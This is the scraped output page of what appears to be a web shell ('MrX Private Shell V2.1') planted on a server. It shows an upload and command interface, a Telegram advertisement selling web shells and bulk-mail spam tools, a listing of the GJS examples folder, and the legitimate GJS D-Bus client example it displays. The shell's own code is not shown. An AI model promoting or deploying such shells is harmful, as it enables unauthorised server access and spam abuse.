__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
// SPDX-License-Identifier: MIT OR LGPL-2.0-or-later
// SPDX-FileCopyrightText: 2020 Andy Holmes <[email protected]>

import GLib from 'gi://GLib';
import Gio from 'gi://Gio';

/*
 * An XML DBus Interface
 */
const ifaceXml = `
<node>
  <interface name="org.gnome.gjs.Test">
    <method name="SimpleMethod"/>
    <method name="ComplexMethod">
      <arg type="s" direction="in" name="input"/>
      <arg type="u" direction="out" name="length"/>
    </method>
    <signal name="TestSignal">
      <arg name="type" type="s"/>
      <arg name="value" type="b"/>
    </signal>
    <property name="ReadOnlyProperty" type="s" access="read"/>
    <property name="ReadWriteProperty" type="b" access="readwrite"/>
  </interface>
</node>`;



// Pass the XML string to make a reusable proxy class for an interface proxies.
const TestProxy = Gio.DBusProxy.makeProxyWrapper(ifaceXml);


let proxy = null;
let proxySignalId = 0;
let proxyPropId = 0;


// Watching a name on DBus. Another option is to create a proxy with the
// `Gio.DBusProxyFlags.DO_NOT_AUTO_START` flag and watch the `g-name-owner`
// property.
function onNameAppeared(connection, name, _owner) {
    print(`"${name}" appeared on the session bus`);

    // If creating a proxy synchronously, errors will be thrown as normal
    try {
        proxy = new TestProxy(
            Gio.DBus.session,
            'org.gnome.gjs.Test',
            '/org/gnome/gjs/Test'
        );
    } catch (err) {
        logError(err);
        return;
    }


    // Proxy wrapper signals use the special functions `connectSignal()` and
    // `disconnectSignal()` to avoid conflicting with regular GObject signals.
    proxySignalId = proxy.connectSignal('TestSignal', (proxy_, name_, args) => {
        print(`TestSignal: ${args[0]}, ${args[1]}`);
    });


    // To watch property changes, you can connect to the `g-properties-changed`
    // GObject signal with `connect()`
    proxyPropId = proxy.connect('g-properties-changed', (proxy_, changed, invalidated) => {
        for (let [prop, value] of Object.entries(changed.deepUnpack()))
            print(`Property '${prop}' changed to '${value.deepUnpack()}'`);

        for (let prop of invalidated)
            print(`Property '${prop}' invalidated`);
    });


    // Reading and writing properties is straight-forward
    print(`ReadOnlyProperty: ${proxy.ReadOnlyProperty}`);

    print(`ReadWriteProperty: ${proxy.ReadWriteProperty}`);

    proxy.ReadWriteProperty = !proxy.ReadWriteProperty;
    print(`ReadWriteProperty: ${proxy.ReadWriteProperty}`);


    // Both synchronous and asynchronous functions will be generated
    try {
        let value = proxy.SimpleMethodSync();

        print(`SimpleMethod: ${value}`);
    } catch (err) {
        logError(`SimpleMethod: ${err.message}`);
    }

    proxy.ComplexMethodRemote('input string', (value, error, fdList) => {
        // If @error is not `null`, then an error occurred
        if (error !== null) {
            logError(error);
            return;
        }

        print(`ComplexMethod: ${value}`);

        // Methods that return file descriptors are fairly rare, so you should
        // know to expect one or not.
        if (fdList !== null) {
            //
        }
    });
}

function onNameVanished(connection, name) {
    print(`"${name}" vanished from the session bus`);

    if (proxy !== null) {
        proxy.disconnectSignal(proxySignalId);
        proxy.disconnect(proxyPropId);
        proxy = null;
    }
}

let busWatchId = Gio.bus_watch_name(
    Gio.BusType.SESSION,
    'org.gnome.gjs.Test',
    Gio.BusNameWatcherFlags.NONE,
    onNameAppeared,
    onNameVanished
);

// Start an event loop
let loop = GLib.MainLoop.new(null, false);
loop.run();

// Unwatching names works just like disconnecting signal handlers.
Gio.bus_unown_name(busWatchId);


/* Asynchronous Usage
 *
 * Below is the alternative, asynchronous usage of proxy wrappers. If creating
 * a proxy asynchronously, you should not consider the proxy ready to use until
 * the callback is invoked without error.
 */
proxy = null;

new TestProxy(
    Gio.DBus.session,
    'org.gnome.gjs.Test',
    '/org/gnome/gjs/Test',
    (sourceObj, error) => {
        // If @error is not `null` it will be an Error object indicating the
        // failure. @proxy will be `null` in this case.
        if (error !== null) {
            logError(error);
            return;
        }

        // At this point the proxy is initialized and you can start calling
        // functions, using properties and so on.
        proxy = sourceObj;
        print(`ReadOnlyProperty: ${proxy.ReadOnlyProperty}`);
    },
    // Optional Gio.Cancellable object. Pass `null` if you need to pass flags.
    null,
    // Optional flags passed to the Gio.DBusProxy constructor
    Gio.DBusProxyFlags.NONE
);


Filemanager

Name Type Size Permission Actions
README File 80 B 0644
calc.js File 3.55 KB 0644
dbus-client.js File 4.72 KB 0644
dbus-service.js File 3.42 KB 0644
gettext.js File 751 B 0644
gio-cat.js File 731 B 0644
glistmodel.js File 3.69 KB 0644
gtk-application.js File 3.64 KB 0644
gtk3-template.js File 1.57 KB 0644
gtk3-template.ui File 1.61 KB 0644
gtk3.js File 2.51 KB 0644
gtk4-frame-clock.js File 2.63 KB 0644
gtk4-template.js File 1.64 KB 0644
gtk4-template.ui File 1.61 KB 0644
gtk4.js File 1.87 KB 0644
http-client.js File 1.71 KB 0644
http-server.js File 1.39 KB 0644
test.jpg File 35.55 KB 0644
test.jpg.license File 158 B 0644
timers.js File 524 B 0644
webkit.js File 438 B 0644
websocket-client.js File 1.44 KB 0644
Filemanager